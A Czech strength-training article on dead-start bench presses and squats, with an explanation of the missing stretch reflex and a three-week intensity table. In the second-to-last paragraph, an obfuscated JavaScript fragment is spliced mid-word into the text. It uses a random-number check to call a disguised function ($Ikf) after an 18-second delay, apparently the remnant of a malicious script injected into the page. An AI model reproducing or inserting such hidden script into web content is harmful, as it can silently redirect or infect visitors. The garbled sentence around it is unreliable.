Tréninky

JAK VZKŘÍSIT STARÉ CVIKY

VDECHNĚTE POMOCÍ SPECIÁLNÍ TECHNIKY NOVÝ ŽIVOT BENCH PRESSU A DŘEPŮM.

 

V každé normální posilovně narazíte na někoho, kdo provádí jen polovičaté dřepy. Prostě si na tyč naloží takovou zátěž, se kterou pohyb v delší dráze nemá šanci zvládnout. Je to dáno tím, že většina tlakových a dřepových cviků funguje na bázi vzestupné silové křivky, to znamená, že cvik je nejnáročnější v dolní fázi a nejsnazší nahoře. Tzv. „mrtvé cviky“ představují skvělý způsob jak využít tuto křivku k budování síly pomocí zrychlení provedení cviku z tzv. mrtvého bodu v nejobtížnější fázi každého takového cvičení: tzn. dole.

Tlakové a dřepové cviky vyžadují reversibilní svalovou akci, znamená to jednoduše pohyb nahoru a dolů. Mají jak excentrickou (negativní), tak amortizační (přechod z negativní do pozitivní fáze) a pozitivní fázi. Tyto fáze vychází z předpokladu, že tlak i dřep jsou prováděny na principu napínání gumy. Energie nahromaděná při pohybu dolů vám pomůže zvládnout pohyb nahoru.

Mrtvé cviky tuto výhodu eliminují. Nejde o žádné klišé, jako když vám při cvičení tréninkový partner říká: „Teď je to jenom na tobě“, při provedení bench pressu nebo dřepu na bázi mrtvého cviku je to totiž skutečně jenom na vás.

 

JAK TO FUNGUJE

Mrtvé cviky začínají vždy s velkou činkou v klidové fázi (tzn. položenou) v dolní poloze, ať už se jedná o cvik tlakový či dřepový. Pro příklad – při provedení bench pressu, jednoduše odložíte činku na stojan v kterékoliv fázi pohybu, pak provedete série single opakování, z nichž každé začnete z této klidové fáze.

Vzhledem k tomu, že veškerá dopomoc – tzn. dopomocná energie vznikající během koncentrické fáze zdvihu – je eliminována, budete cvičit tak, abyste zapojili co nejvíce motorických jednotek při pohybu z dolní fáze nahoru. Tato technika má několik výhod. Za prvé, navýšíte výchozí sílu díky nově objevené schopnosti aktivovat více svalových vláken. Dále zvýšíte rozsah silového rozvoje tím, že budete svalovou sílu produkovat rychleji.

 

VYUŽITÍ V PRAXI

V tabulce vidíte příklad třítýdenního tréninkového cyklu bench pressu, který můžete aplikovat i při dřepech. Je důležité poznamenat, že mrtvé cviky slouží jako doplněk – nikoliv náhražka – klasického bench pressu nebo dřepů, tento cyklus tedy do svého tréninku zařadíte pouze v případě, že potřebujete dosáhnout rychlého navýšení síly. Výzkumy ukazují, že mrtvé cviky vedou k rychlejšímu nárůstu síly, pokud je zařazujete cyklicky jeden až dva měsíce. Poté byste se měli vrátit ke klasickému rozpisu cviků.

Procento zátěže vychází z maximální zátěže pro jedno opakování při provedení standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andardního bench pressu a dřepů. Třetí týden si maximální výkon pro jedno opakování znovu otestujte, tentokrát přímo s mrtvým cvikem. Provádějte single opakování s 80-85 % zátěže a pak pomaličku navyšujte, dokud se nedostanete na maximální váhu pro jedno opakování.

 

TÝDEN INTENZITA SÉRIE OPAKOVÁNÍ PAUZY
1 70 % (1RM) 8 1 60 sekund
2 75/79/82/82% 4 1 120 sekund
3 80/85%/1RM Dle potřeby 1 Dle potřeby